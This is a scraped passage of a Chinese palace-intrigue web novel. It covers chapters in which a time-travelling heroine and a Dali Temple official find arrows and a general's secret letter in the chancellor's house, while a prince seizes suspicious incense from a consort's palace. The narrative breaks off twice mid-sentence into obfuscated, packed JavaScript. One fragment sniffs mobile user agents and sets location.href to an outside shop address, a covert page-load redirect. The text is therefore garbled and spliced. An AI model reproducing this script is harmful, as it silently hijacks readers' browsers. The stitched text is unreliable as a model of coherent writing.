李时丰提前抹去脸上的伪装,同门口的差役举了大理寺的腰牌,被恭恭敬敬请进了大门,他招呼自己的小跟班谢筠熙一同进府,原本那差役还想说些什么,但被李时丰一记眼刀憋了回去。 府里的一切依旧同过去一般,干净,整洁,看上去跟没有发生过动乱似的。 “陛下他……”谢筠熙有些疑惑。 “谢相只是在受审,并非真的定罪,且其在民间赞誉颇高,当初谢相被押入诏狱的时候,京城千余民受其恩泽的百姓俯跪在皇城跟前,足足有一炷香的时间没有起来,但陛下必须公事公办,如此情景只得先承诺不动谢相,亦不动丞相府。” 李时丰一边认真解释着,一边观察着谢筠熙的表情,奇怪的是谢筠熙脸上的不解依旧没有散开,反而更甚。 “不对啊……千民同跪这种大事怎么没有载入史册……这是绝对不应该的啊……” 谢筠熙喃喃自语着,五指不由自主捏紧。 “你是什么时候来的?”李时丰冷不丁打断了谢筠熙的思考。 “哦……哦!那有些不巧了,我是在香楼案之前来到这里的,完美错过了谢相入狱的时间。”谢筠熙一哆嗦,顿时回过神来。 李时丰这次只是缄口不言,他下意识握紧刀柄,在丞相府里走动起来。 丞相府本就拮据,只能算得上是个小宅,公务政事,柴米油盐,吃喝拉撒充其量只能夸一句麻雀虽小五脏俱全,下人更是见不着几个。 若非得强行充数的话,也就只有尚在艾诺家里终日担忧自家小姐的蕙兰,两个打下手的小厮,再加一个待在后厨生火的老妈子算得上是正经家仆了。 不过想来谢康也没把这些人当下人,府里这帮人面色红润气血极佳,看上去能生吞两头活牛,一看就是被谢康养得极好,以至于他们看见李时丰和谢筠熙的时候面露不善,显然是把他们当成同官府派来的差役一样的人了。 现在看来……皇帝要动丞相府的话也没有几个人可以动吧…… 谢筠熙汗颜。 但是蕙兰又是怎么回事,把她从府里逼出去的那帮士兵显然不是皇帝的人。 府里没有差役,想来皇帝管得也不是很严,所以才由得谢家这帮家仆如此悠然自得。 谢筠熙心生一计,同李时丰道了句“一会过来”,首先去后厨里同那生火的老妈子变着声线说了句话:“这位婆婆,我家大人工作忙得嘞,害我一天都没有吃东西了,有没有什么可以充饥的让我解解馋呗。” 那生活婆婆见她一开口就是姑娘家家的声音,心先软了一半,但是她没有立刻同意,而是上下打量一番谢筠熙,这才开口问:“你和你大人和那门外杵的那帮人是啥子关系啊?” “哎呀,我们同他们没关系,我们呀,是来为谢相证清白的啦!”谢筠熙听那老妈子声音敞亮,只是耳朵有些不大好的样子,不由也拔高了自己的音量。 “这样啊……是来帮老爷的……是来帮老爷的……好……好好。”那老妈子沉默了一瞬,看向谢筠熙的眼神不再充满警惕,她佝偻着身子离开生火的灶子,脚步却轻快得很,不多时谢筠熙就见她手上多了块烧饼。 “婆婆,这是给我的吗?”谢筠熙的手里被她塞进那块烧饼,见她那笑盈盈的慈祥模样,莫名鼻子有些发酸。 “唉,你那大人不好,连饭都不让你吃,姑娘,这烧饼你拿去吃吧,小姐还在这的时候天天同老婆子我吵着要吃烧饼,你看着和她年岁差不多大,应该也会喜欢的。” 那婆婆年事已高,浑浊的眸子提到小姐时却又有了些许光亮,只是说着说着,她自己也有些哽咽起来。 谢筠熙手里拿着那块烧饼,心里顿时很不是滋味起来。 你们的小姐就在眼前……只是…… 谢筠熙嘴里泛起苦来,眼眶不自觉地有些泛红,她强忍着这份感觉,也不顾那烧饼上被婆婆沾上的灶灰,一口咬下去大半,在嘴里嚼吧嚼吧,正想冲婆婆竖大拇指,突然又想起来现在是在哪里,赶忙把手缩回去,抓着烧饼也不管自己的腮帮子被烧饼顶得鼓起,扬起一个大大的微笑,三下五除二吃完了烧饼,又对婆婆百般夸奖起来:“婆婆你做的真好吃,难怪你家小姐会喜欢,我也喜欢的紧啊!” 那婆婆得了夸赞,反而有些不好意思起来,将那双苍老的手有些局促地合在身前,也冲谢筠熙笑了笑。 “老人家,我们想向你问些事。”李时丰早就跟上了谢筠熙,不只站在远处看了多久,他终于开口。 “你……你就是这姑娘的大人?”婆婆望向李时丰的眼神显然没有谢筠熙这么温和,即使有些害怕官家人,她也依旧将眼里的谴责展示得一览无遗。 “嗯,我是。”李时丰老老实实回答。 “对这样好的姑娘,就该好一些,怎么能连饭都不给吃呢,饿坏肚子可咋个办呦!” 李时丰瞥了一眼谢筠熙,果然看见她心虚扭头的模样,一时间知晓她跟这个婆婆说了些什么。 “我的错,老人家,以后一定把她喂饱。”李时丰看上去态度诚恳,却悄悄加重了末话的“喂饱”。 这话明明没有什么,但谢筠熙却觉得背后一凉。 “好了,你们想问什么……老爷的事我老婆子敢打包票,绝对是假的。”那婆婆又转向谢筠熙,脸色再次变得和蔼起来,她将谢筠熙那双白皙细长的双手放进自己的手里,语重心长道,“姑娘,老婆子不懂上头那些人整日在搞些什么花花肠子,但老爷他自致士以来,从未做过半分错事,什么贪墨……更是不可能,老爷他那官服干干净净整整齐齐,自己的其他衣裳却穿了又穿,时常拿给老婆子我缝缝补补,自己日子过得难,却忘不了我们,从未少过一点我们的俸禄……” 那婆婆说得诚恳,情绪也逐渐激动起来,抓着谢筠熙的手微微颤起来,谢筠熙安抚性地将自己的一只手抽出来,轻轻拍了拍婆婆的手背,蹲下身子柔声说着 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谢筠熙比李时丰更快注意到这本册子,她将它小心翼翼地捧起,合上书页,只看到了□□著,其余书名一概不知,皆是空着的。 “这应当是谢相写的吧。”李时丰同谢筠熙目光一致,停留在那空白处。 “嗯……也许。”谢筠熙翻开前面有字的部分,细细阅读起来。 “上月初,借吴婶十文 本月还。√ 七日前,林家小女初诞 前去祝贺。√ 三日前,对街杂货铺子老方生意不佳 前去捧场……” 那册子记的,不过是些生活琐事,谢筠熙觉得它像是谢康的备忘录,专门用来记一些容易遗忘的琐事,只是它放在众多深奥难懂的书籍之中,倒更显得格格不入,谢筠熙记起见到谢相的那一面,结合这个本子,倒是觉得有些正常。 这样一看,谢康那日说的话,倒像是他真的不知道什么“局”,但他既然能混到丞相这一位置,必然没有这么简单。 “谢筠熙,我们找找镇北府的事物。” 李时丰提醒谢筠熙。 “好。”谢筠熙放下那册子,重新投入到翻找中。 谢筠熙环顾一圈,只觉得谢康的屋子看上去空荡得很,但她蓦地注意到那窗台边上放着一个素净的花瓶,看上去不是什么名贵的器皿,像是烧瓷人剩下的残次品,也不知道是怎么被谢相捡来用的,但那瓶里却插着一枝干枯的树干,谢筠熙将它轻轻拿起,却发现了些异常。 “大人,这是梅花枝吗?”谢筠熙立刻回想起香楼案屡次出现的梅花印。 “……是。”李时丰细细端详那截枯枝,最终点了点头。 “可之前那信函上的印子我们不是说是狸奴的爪印,连秋芸也说自己有在喂养他们。” 谢筠熙一边说着,一边拿起那个劣质花瓶,往里面看了一眼,这一看却彻底愣住了神。 里面赫然放着两截木质的小细棍,还有一个生锈的箭头。 55. 将军密信 “怎么又是这个!”谢筠熙惊叫出声。 李时丰的脸色也很精彩,但他依旧保持着镇静,将那花瓶倒置过来,将里面的东西全部倒出。 令人惊讶的是,在谢康这儿发现的这支是保存最完整的一支小箭,形制同镇北府的那支极为相似,这支没有被水浸泡的痕迹,虽然看上去已有些陈旧,但好歹比另一支损坏程度轻很多。 谢筠熙将它小心地摆成原样,只看了几眼就知晓这箭的来头。 “又是……” 李时丰和谢筠熙对视一眼,都知道对方想要说什么。 “我爹能得到这个东西的唯一一种可能,就是去过镇北府了。”谢筠熙锁眉撇嘴,严肃地得出结论。 李时丰定定看着那箭上刻的字,沉默着点了点头。 “如此一来,你爹娘和我爹极有可能也相识,而且相交不浅,只是你我都不知道而已。” 谢筠熙说完总觉得这话有些奇怪,但她说不上来。 不知道是不是错觉,总觉得少卿大人偷笑了一下,谢筠熙的耳朵莫名有些发烫,她掩饰性地挠了挠头,兀自走向房间的另一侧。 “谢筠熙,可以去你的屋子里看看吗?”李时丰察觉到她的羞恼,乘胜追击提出了一个让眼前之人更加面红耳赤的要求。 果不其然,刚说出口,谢筠熙脸上的红霞直从两颊烧到了脖子。 “啊……可以吧……”谢筠熙不知道自己为什么这么窘迫,这话若只是为了公事公办地查案倒没什么,偏生李时丰压低声音说出来的话却这么让人误解。 都怪他…… 谢筠熙捂住脸,依旧背对着李时丰。 “走啊。”李时丰拍上谢筠熙的肩头。 这本就不是我的兀自,是谢今安的,我到底在不好意思些什么劲啊! 李时丰就见谢筠熙的肩膀抖了几下,犯抽似的扬起一只手拍在自己脸上,将白皙泛红的面颊拍得五指红痕肉眼可见,后又使劲拿手揉了揉,这才转过身反拍了拍李时丰的肩头,故作轻松地卖出一只脚,嘴里还不忘招呼李时丰:“走,跟我来,我对我的房间还是有些印象的。” 刚来辰朝的时候谢筠熙本以为会和众多穿越小说里写的那样,继承被穿越者的记忆,可是等她亲身经历,才知道这个说法纯粹就是在扯淡,说句实话,谢筠熙对谢今安的所有真实了解全是基于蕙兰的描述,包括她在谢府中的衣食住行以及鸡毛蒜皮的小事。 让谢筠熙出乎意料的只有蕙兰那过人的记忆力,除了自己工作上的事她尚可以拿捏得牢牢的,生活里的琐事她有时也会遗漏一些,比如燕大那帮热情似火的孩子,每每有她的讲座,基本座无虚席,甚至连结束之后也会有学生跟在自己身后请教一些问题,只是唯一有些愧对于他们的就是,谢筠熙总是记不住他们的脸和名字。 说起来,来辰朝之前,原本就是在为讲座做准备来着…… 啊,有点怀念那些小兔崽子们了…… 谢筠熙收回思绪,把注意力重新投放到走路上。 “谢筠熙,既然你说是从后世来的,那一定知道大辰最后的结局吧。” 李时丰跟在谢筠熙身后,声音悠悠飘来。 “……我还以为你会问,大辰是否会绵延后世,永世不熄呢。”谢筠熙放慢了脚步,和李时丰并排走着,微风拂过她的脸颊,慢慢的总算是恢复了原色。 “虽然这话有些逾矩,但是本官想,大辰日后的命数如何,非人力可控,历朝历代以来,再繁盛的时刻也终究会有没落的那一天,人权之争从未停止,这点你我都心知肚明,但我大辰所遗留的瑰宝必然流芳百世,至少你现在知道我大辰的存在,这便说明我们这个朝代并没有被遗忘,如此看来,那也足矣。” 李时丰说得很认真,谢筠熙听得也很认真。 直到二人来到谢今安闺房,谢筠熙仍在为李时丰说得一番话而动容。 “大人。” 李时丰觉得自己的衣角微紧。 那是谢筠熙牵住了他,少卿大人总觉得,周遭的空气温度都上升了几分。 “难怪你这么有人气,不愧是你。” 李时丰正心神荡漾间,听到这样一席话,正要将衣角从谢筠熙手中抽走,一抬眸,却看见了谢筠熙那亮晶晶的眸子,再次愣住了神。 俗话说的好,情人眼皮出西施,李时丰恐怕自己都没有注意到,自己看向谢筠熙的次数越来越多,而注视她的时间也越来越久,就像……想将她刻入心底那般。 两人在浑然不觉之中摩擦出的火花,最终当然以讨论案情而告终。 谢筠熙走进那个陌生的房间时,谢今安的影子似乎还在四处显现,如同放映机一般,她可以看见这个姑娘每天在那处读书,在哪处绣花,又在哪处弹琴吹笛。 在这个幽静的小屋子里,只有些简单的修饰,譬如墙角那些小花圃,原本应该种着些不知是何品种的花花草草,虽然因为主人太久没有回来变得有些残败,但依旧可以看得出谢今安从前有多么得热爱自己每一日的生活。 “你果然与她不是同一个人,现在本官彻底相信了。”李时丰也跟着谢筠熙绕着屋子转了一圈,对她的说辞彻底心悦诚服。 “……” 谢筠熙一时之间有些失语,一阵莫名的失落感袭来。 总觉得李时丰这话不是什么好话……不是我有病吧我在矛盾什么。 李时丰见谢筠熙没有回话,突然反应过来自己话里的不妥之处,他琢磨了一番,莞尔一笑,犯贱般凑到谢筠熙鼻子底下:“本官可没有别的意思,别多想。” 这不就是有别的意思嘛! 谢筠熙狠狠瞪了李时丰一眼,扭头就走。 “生气了?”李时丰偏生要凑上去。 “大人太不坦诚了,还有,现在是在查案,请不要说多余的话!” 哟,挂脸了。 李时丰挑眉微笑,决定大发慈悲哄她一回:“怎么是多余的话,你是你,谢今安是谢今安,本官只是在肯定你的存在罢了。” 这话跟清泉般灌溉进谢筠熙心底,将谢筠熙原本有些郁闷的心照得有些敞亮,不知怎的郁闷一扫而光,取而代之的是一丝丝诡异的愉悦感。 我绝对是脑子瓦特了……

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16818834|183262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 谢筠熙甩甩脑袋,将这份腾然而生的感觉抛到外空。 李时丰就这样在一旁瞧着谢筠熙精彩的表情,不用看也知道她在想些什么。 半晌少卿大人靠到一旁的书架子旁,不动声色地叹了一口气。 谢筠熙有些心虚,脸上的幽怨之色倒是减去了几分,正想朝李时丰大步走去,他那靠着的书架子许是因为突如其来的重量晃动了一下,谢筠熙听见了“咔嚓”一声,似乎有什么东西掉落。 “等一下大人,你能先走开一些吗。”谢筠熙轻轻推开李时丰。 被推到一旁的少卿大人非但没有埋怨,还驱身上前,亲自替谢筠熙拉住书架,看着身下之人缓慢地将书架往外抽出。 直到留出足够的缝隙,谢筠熙终于得以看见掉落的事物。 “起来,我来拿。”李时丰看着谢筠熙捞了半天没捞到,将她单手提溜起来,把一脸懵的谢筠熙放到一边,长手往那缝隙里一伸就把掉落在里面的事物给掏了出来。 “这是……怎么又是信函。”谢筠熙拍了拍身上沾上的灰,接过李时丰递过来的东西。 “嗯……为什么在谢今安房间里?”李时丰疑惑的点却在这里。 “先看看这写的是什么。”谢筠熙从善如流地将竹纸缓缓打开,上面的字笔力遒劲,透出一股肃杀之气,和镇北府里的一些书信一模一样。 “这是……镇北将军的信。”谢筠熙心神一动。 李时丰和谢筠熙靠在一起看完了信。 信里的前几列只是镇北将军与谢康的寒暄之语,后面的整段都在描述北萧边境的处境以及一些充满疑虑的事,谢筠熙越看越觉得事有蹊跷,眉头紧紧皱起来。 “这是一封密信,我爹娘对你爹倒还真是信任。”李时丰这话别有深意。 谢筠熙不明觉厉,只是依旧往下看去,到信的末尾那句“项年恐皇城之中存异心之人,望丞相辨别”时,李时丰和谢筠熙相视,能从对方的眼里看出了几分恍然。 “柳贵妃的那封遗信。”谢筠熙轻声说出这句话。 “柳洵好大的胆子。”李时丰毫不掩饰自己的嫌恶之情。 “怎么办,大人,我们要与殿下说吗?”谢筠熙有些不安。 “要说,但不是现在,陆贰和徐柒正进宫,待他们从那里查出些什么再动作,我们要把这些人通通钉死,再无翻身之日。”李时丰说这话时带这些咬牙切齿。 谢筠熙万万没有想到此事不仅关乎家仇,甚至还能让你给与国恨扯上关系。 难怪……难怪历史学家们分析辰朝时,说它末期外强中干,北蛮甚至也有机可乘,要来大辰分一杯羹,原来柳洵并不只是单纯的奸臣,还是个……叛国之人。 那柳无涯呢……谢筠熙无端联想。 “此事一旦成功钉死,柳无涯的势力也必然分崩离析,届时柳家树倒猢狲散,永难再见天日。”李时丰暗暗捏紧拳头。 “九皇子呢……我是说,还有柳贵妃。”谢筠熙突然抬头。 “他们……”李时丰正想说些什么,看见谢筠熙那紧抿的嘴角,突然有些说不出话来。 56. 善妒之心 看李时丰那错愕的模样,谢筠熙怔然失语。 柳家于镇北将军一家本就算是不共戴天的血海深仇,李时丰心中有怨实乃正常,我怎么可以只站在自己的角度上苛问他,死嘴死脑,快看清些场合…… 谢筠熙这样想着,脑袋不由自主地垂落,气势也软下来,半晌李时丰就听见她有些沉闷的声音隔着虚空传来:“抱歉啊大人,这个时候提到这种话题实在是有些唐突,是我的错。” “无碍,本官也从未将对柳家的恨投射到柳贵妃和九皇子身上,他们原本也应该是深受其害才对,身上淌着谁的血与其品性本就不可一概而论。” 谢筠熙恍惚间抬头,却一头撞进了李时丰那双正柔情似水的眸子,望向她的眼神是那样的专注认真,即使三年前那里倒映着漫天的火光,此刻却化作一烛暖光,直照进谢筠熙的心间。 这是一种谢筠熙从未在李时丰身上见到过的特质,即使平日里的少卿大人有些不讲理,爱贫嘴,有时又有点阴沉,但当下这个身上却又透露出几分释然与善解人意。 “大人之性情,小女子佩服。”谢筠熙直愣愣瞧了他半天最后憋出来这样一句话。 “回去吧。”李时丰又恢复原来那副模样,对着半开的门转过身去,不知为何离开时的身形略微有些僵硬,如果谢筠熙细细观察的话,会发现他的手腕甚至还有些颤抖。 皇宫。 说实话,赵泓玉对这两个人上门还是有些意外,知道是谢筠熙让他们来的时候更是有些出乎意料。 “殿下,谢小姐说我们需要入宫见贤妃一次。” 陆贰心直口快,刚到王府的时候就把谢筠熙的嘱托说出了口。 “贤妃?” 赵泓玉笑起来,徐柒分明从那笑里看出了些森然。 想来应当是谢小姐未卜先知惹殿下不愉快了。 徐柒轻轻拉了一把陆贰,把他扯到自己身后,特意带上些补救的语气同赵泓玉解释:“先前大人和谢小姐对往事有颇多疑惑,他们想从柳家血亲开始查起,或许能得到许多解答。” “哦~既然如此,他们怎么不亲自来同本王说?”赵泓玉眯起眼,好整以暇地靠在椅背上。 “大人觉得,此刻不能打草惊蛇,需徐徐图之,方能……”徐柒说到这里颤惊惊抬头看了一眼猜不透心思的三殿下,有些不敢继续往下。 “一网打尽?” 赵泓玉打开玉骨扇,拿它挡在双唇前,隔着扇面吐出这四个字。 “是……”徐柒忙拉着陆贰干脆利落地跪到地上,抱拳恭敬请命,“求殿下带属下二人进宫探查。” “嗯,准了。”赵泓玉抿唇一笑,缓慢站起身来,走到跪着的二人身旁,收起扇子轻敲徐柒的肩畔,温和道,“既然如此,你们随本王去准备一番吧,告诉时丰,以后这种事最好早些时日告诉本王,切不可再如此唐突了。” “是!” 徐柒一拍陆贰,两人齐声同赵泓玉保证。 宫门内。 朱红的大门缓缓合上,赵泓玉进宫的消息随着传令的宫卫最后飞到了皇帝耳中。 “老三来做什么?”赵砚宸放下手中的朱批,抬眼看向一旁的燕德海。 “回陛下,据说是为了查案,查得便是柳贵妃当年那档子事……”燕德海忙遵圣命走上前,说到柳贵妃时声音又压了压。 “慕琴……”皇帝愣了愣神,最终哀哀叹上一口气,冲燕德海挥了挥手,“罢了,叫他们谨慎些,莫要乱来。” “嗻。”燕德海拱手退下,将赵砚宸的命令同下人传达下去。 徐柒和陆贰安分地跟在赵泓玉身后,向皇宫深处一步步走着,其实作为下属他们入宫的机会不多,只是李时丰偶尔将他们带到前朝供案件始末文书,同皇帝汇报,至于这后宫,女人扎堆的地方,他们还真没来过几次。 更何况这是两个光棍呢…… 赵泓玉领着他们同尚衣的女官打了招呼,总算是顺利来到了后宫,今日倒是静得很,宫里大大小小的嫔妃都静得很,许是最近前朝变故太多,她们自然也不会挑这个节骨眼出来扰皇帝的心情。 只是徐柒和陆贰这两人的腰牌明晃晃的“大理寺”三个字,必然会有人在暗中盯着他们,赵泓玉的话自然更是不必说了,王爷莅临,这后宫里闲言碎语在今日后必然不会停下。 “跟本王来。”赵泓玉领着他们在大大小小的宫宇之间转了一圈,终于走到了一处僻静的宫院,院前只有几个小宫女正在清扫庭院,院池的荷塘还没有到长出荷花的季节,碧绿的圆叶却也大大小小占满了池水间,和这宫院门口牌匾上的“素荷苑”倒是登对。 宫女们见衡王和大理寺的人进门,却都只是恭敬行过礼又离开,显得平静如水,如同他们的主子——贤妃。 “见过王爷,见过两位大人,不知三位莅临本宫这处小地所谓何事?” 贤妃,柳盈霜,贵妃的孪生姊妹,正站在门边,仪态大方,端庄得体同闯入素荷苑的不速之客问好。 据赵泓玉所知,自柳贵妃薨逝,皇帝念及旧情,对她这个姐姐爱屋及乌,原本就四妃之位,现如今更是对她百般照顾,惹得旁人羡煞不已,但贤妃却依旧劝说皇帝不可区别相待,以为妹祈愿为由,主动要求搬来这深宫之处最僻静的素荷苑居住,仿佛和嫔妃们的明争暗斗彻底失了联系,皇帝也愈加钦佩她这落落大方,与世无争的为人,便由她而去。 “叨扰娘娘了,本王为查柳贵妃一事前来,望娘娘配合。”赵泓玉只微微颔首。 “王爷,这里是后宫,没有皇帝的准许,怎么可以……”跟在柳盈霜身后的大宫女见自家娘娘霎时间变了脸色,慌忙出言,谁知还没说完话,就被赵泓玉那漠然的一笑唬住了。 “贤妃娘娘,您就是这么管教您的下人的吗,本王让你说话了吗?”赵泓玉的语气没有什么波澜,说出来的话却一点都不客气。 饶是陆贰和徐柒跟在赵泓玉身后,也被他那鄙睨一切的架势弄得有些摸不着头脑。 殿下似乎对贤妃娘娘的态度也很难说啊…… 陆贰企图和徐柒眼神交流,被徐柒狠狠踩了一脚,这才安分站住,静待赵泓玉处事。 “贤妃娘娘怎么不说话?”赵泓玉居高临下看着眼前这个沉默不语的女人。 “殿下,请吧。”柳盈霜最后叹了一口气,还 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柳盈霜的面上出现一丝裂痕,但她依旧维持着她那套姐妹情深的说辞,从容不迫地接着往下说着:“本宫只记得,慕琴刚怀上龙子的时候,身子分明十分健全,并没有什么异常,后来许是怀胎十月艰辛,平日里的吃食,也都是吃了又吐,陛下心疼慕琴,对其更是关爱有加,衣食住行样样以宫内最高规格置办,下人们也不敢怠慢,至于生产之前,慕琴已然有些憔悴得脱相,本宫这个做姐姐的,也是心疼得紧。” “贵妃孕期,可有接触过什么不能接触的事物?”赵泓玉这一问,让他明显看到柳盈霜那有些放大的瞳孔,心下嘲弄起来。 什么做姐姐的心疼,心里有鬼罢了,柳家人的作派还是如此恶心。 “这……本宫也没法说,但以陛下对妹妹的爱护,也不至于让有害于妹妹孕身的事物近身吧……” 说到这话时,徐柒好陆贰从查找的地方站起身来,向赵泓玉隐晦地点了点头。 “贤妃,你猜,陛下为什么要让你主持九皇子的接风宴?”赵泓玉的话题换得措不及防,柳盈霜当场愣在了那里。 “本宫知道,那是陛下念及慕琴与我姐妹情深……” “呵,那是因为,这桩事,是本王提的,若非本王,陛下根本就不会想起你……娘娘,你以为贵妃离开了,你就能取代她在陛下心中的地位吗?” 赵泓玉笑起来,连装都不屑于装,他那扇尾轻轻扣住桌面,将柳盈霜所有的表情变化一一收入眼底。 “走吧,二位,时间紧迫,就不再叨扰娘娘了,我们先走一步。”赵泓玉站起身,不再与柳盈霜说话,只是最后留下一句“贤妃娘娘,好自为之”,便如阵风般转身离开,也不管身后贤妃端着的架子碎了几分,耀武扬威般走出了素荷亭。 “殿下,我们这么光明正大真的好吗?”徐柒有些担忧,握紧了从贤妃屋里拿走的事物。 “父皇已默许我们在后宫行事,不需要遮遮掩掩,本王这个,叫做激将法。” 徐柒想起入后宫前的那个尚衣,有些心知肚明。 “如今走这一趟,我们便要出宫了吗,殿下。”陆贰也不敢再直来直去,此刻也变得谨言慎语起来。 “回去吧,想必那两人也找到了不少东西,先回大理寺,是时候该把这网收一收了。” 这是赵泓玉出宫门前说的最后一句话。 此时正日落西山,余晖洒在辰朝江山的每一寸土地上,没有人可以阻挡真相破土而出的势头。 57. 对证 谢筠熙和李时丰大概也没有想到赵泓玉竟然比他们先一步回到大理寺,刚踏入正厅,就见衡王那熟悉的毫不掩饰的打量目光将二人从头到尾看了个遍,最后发出一声意味深长的嗤笑。 原本和李时丰一起单独行动这件事谢筠熙还有些心虚,见到赵泓玉那副样子,负罪感瞬间被抛到了九霄云外。 “见过殿下。”谢筠熙上前一步,有些好奇徐柒和陆贰在后面琢磨些什么东西。 “熙老板,好久不见呐,本王可真是想你想得紧。”赵泓玉摇扇出声,使谢筠熙不得不止住脚步。 赵泓玉这家伙,又在憋什么坏? 谢筠熙心里暗暗想着,脸上却赔着笑同赵泓玉插科打诨:“哈哈哈,殿下,这话应该我来说,小女子未见殿下许久,真是一日不见,如隔三秋呐!” 谁知赵泓玉只是理所当然地欣然一笑,又将话头对准了李时丰:“时丰啊,这镇北府,你说去就去,丞相府,也说去就去,却只派两个无趣的副官让本王去宫里应付,自己和美人相谈甚欢,这,不太厚道吧。” 说的什么话! 谢筠熙以为自己已经习惯了赵泓玉每次莫名其妙的犯抽,但她显然高估了自己,此话一出,只觉得两颊又开始飞红,定眼一瞧站在身旁的李时丰,却发现他还是那般“风雨不动安如山”的作态,一点都没有反思的意思,甚至连嘴角都挂上了一抹不知因何而扬起的笑。 李时丰又在笑什么?! 谢筠熙心中惶惶不安,甚至已经开始怀疑这俩要合起伙来坑自己了。 “殿下,并非属下刻意隐瞒,但以殿下的能耐,查到我们的踪迹并不是什么难事,您既然已经默许我们这么干,便不要再打趣了。” 李时丰语气平静,和赵泓玉对上目光。 “好大的胆子,时丰,是本王太惯着你了吗?区区大理寺少卿,竟敢如此冲撞本王。”赵泓玉拍桌而起,话里话外看似嗔怒,实则充满了演戏的意味。 这俩人一唱一和在那引什么东西出来呢。 谢筠熙正在心里纳闷,一回头看见门外那逐渐走近的紫色身影,心中顿时了然。 但即便如此,也没必要吧…… 正当谢筠熙以为这俩戏瘾上头还要再喊上几句时,杜寿年正好走进正厅大门,一见自己的得意门生跪在地上,再一抬头衡王脸上怒意未消,“唰”一下变了脸色。 “殿下莫与我这不争气的下属置气,免得气坏了贵体,下官也没法跟陛下解释。” 杜寿年说得委婉,还朝衡王恭敬拘上了一礼。 不是大人啊……你怎么就真信了…… 谢筠熙已经自觉地平移到了陆、徐二人身边,一眼瞅着那二人捣鼓的东西一眼又时不时朝那一老二少的方向瞟着。 见那几人没说几句又开始谈起朝堂上的事,谢筠熙兴致缺缺把注意力彻底放到了陆贰和徐柒身上。 “这是你们从宫里抄出来的东西?”谢筠熙拍拍陆贰的肩,把下巴一抬,直直指向那桌上拿小布盛着的粉末状事物。 “嗯,殿下与我们一同进了后宫,这事物是从后宫拿来的。” “怎么找到的……”谢筠熙大胆地弯下腰向那不明粉末实行扇闻法,只觉得这应当是某种香料,闻着相当熟悉,若是自己那研究中草药的同事闻到了一定知道这是什么,可惜谢筠熙所长非此处。 “当时殿下带我们直奔贤妃的宫院,没有想到遭到贤妃的阻拦,殿下强硬得很,在那一顿说,那贤妃吃了瘪,便把我们放进去了。” 陆贰的用词显然更加直白些,谢筠熙想赵泓玉大概率说得不会是什么好话,这家伙对除自己信任的人以外嘴下从来就不打算留德。 “谢小姐,你能看出这是什么吗?”徐柒手动封了陆贰的嘴,又专心地同谢筠熙请教。 “闻着像是某种香料,不如叫医馆的人看看,他们没准知道。”谢筠熙提议。 “这是宫中的东西,就怕民间之人看不出什么门道。”徐柒摇了摇头,语气略显无奈。 “那便让太医院的人看。”谢筠熙举起一根手指,在空中左右晃着。 “这……”陆贰和徐柒对视一眼,有些不知道该怎么回答。 “你们还没跟我说是怎么找到这个东西的呢。”谢筠熙将话题一转,显然对查证的过程更感兴趣一些。 陆贰挠了挠头,看上去竟有些不好意思地开口:“当时殿下和贤妃正在说些什么,殿下叫我们在贤妃宫里四处看看有没有什么可疑之处,属下的鼻子向来有些灵,便和老徐说总觉得贤妃这院里的味道闻着有些让人不知为何气血上涌,老徐就领着我往这气味的来源找,最后在院里最角落的地方发现了一个燃着的香鼎,那气味的来源便是这些焚香。” “焚香……”谢筠熙的脑子第一反应蹦出来的竟然是从前看的那些电视剧里,致人胎心受损的香料。 不会吧,这样的话也太狗血了……谢筠熙有些无言以对。 不行,这只是一种猜测,当务之急应是再进一趟宫赵御医辨别才对。 谢筠熙压下心底的那份躁动不安,把自己手中的东西全部都放到近期收集的物证旁。 “才没过一会,你们怎么先聊起来了。”赵泓玉的声音悠悠传来,如同背后灵一般突然出现在谢筠熙背后,将她吓得浑身一颤,差点把刚要掏出来的箭矢放歪,碰撒桌上那摊可疑的香料。 “我……”问候爹妈的优美汉语还没从谢筠熙的嘴里飞出来,杜寿年那张忠臣脸将她的骂词硬生生憋了回去,到嘴的话变成了,“哈哈哈我们正打算交流一下最近的发现,好向大人们禀报啊……’” 杜寿年果然又露出他那副欣然的神情,身后的李时丰却可疑地转过身去,肩膀微微耸动,招来谢筠熙隐晦的一记眼刀。 “方才正说到这里,这便是你和谢姑娘发现的第三支箭矢吧。”杜寿年伸手指向谢筠熙刚刚拿出来的物证,转头同李时丰问道。 “回大人,正是。”李时丰还没有转过身,发出的声音有些闷。 “你小子转过身去做什么,连物证都没看见就说是,好好回答。”杜寿年的个子明显没有李时丰高,只能抓住他的肩头把他连人带刀一同转到正对面。 “抱歉,大人,属下方才有些失礼。”李时丰收住笑,朝桌上看去,刻意回避了谢筠熙那似笑非笑的眼神。 “回殿下,此次前去查证,这些是在……密室发现的书信,还有这支箭矢,是在丞相府发现的。”李时丰伸出一只手将谢筠熙别在腰间的布包取下,让众人让出块空地,亲自把这些事物一一在桌上摆开。 提到密室他的眼神忽地黯淡了一下,谢筠熙想来那处枯井只有自己一人被告知,其他人应当时不知道的,鉴于他目前表现还算正经,谢筠熙也没有把他公然拿包的行为当一回事。 于是往事再次从李时丰口中说出,连同他与谢筠熙的怀疑一同在正厅里娓娓道来。 提到柳洵一事时,连赵泓玉的目光也变得锋利起来。 “确有此事?”他的嘴角绷紧,又同李时丰确认了一遍。 “还未确凿,殿下,我们不可以太早下结论。”杜寿年的眉头自然也没放下来过,那张看上去有些古板的脸此刻也有些为此事所震悚。 “大人们,小女子有些猜想。” 谢筠熙下意识举起手,见所有人都望向自己,又尴尬地把手放下。 “说吧。”赵泓玉开口应下。 谢筠熙得令,俯下身子指着桌上那些物证说出多日以来深藏心底的推测:“如今我们查的,是三年前那场纵火案和柳贵妃之死,而依着这些物证,我们可以得知,镇北府与柳府有着一些不为人知的深交,只是这等深交并非柳无涯自愿授予,而是局限于膝下儿女的互相熟识。” “如此想来,像柳无涯那样的人,分得清与镇北府相交的利害,镇北府的作派绝对不可能符合他的胃口。”赵泓玉微微点头,算是对镇北夫妇一心为公的认可35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 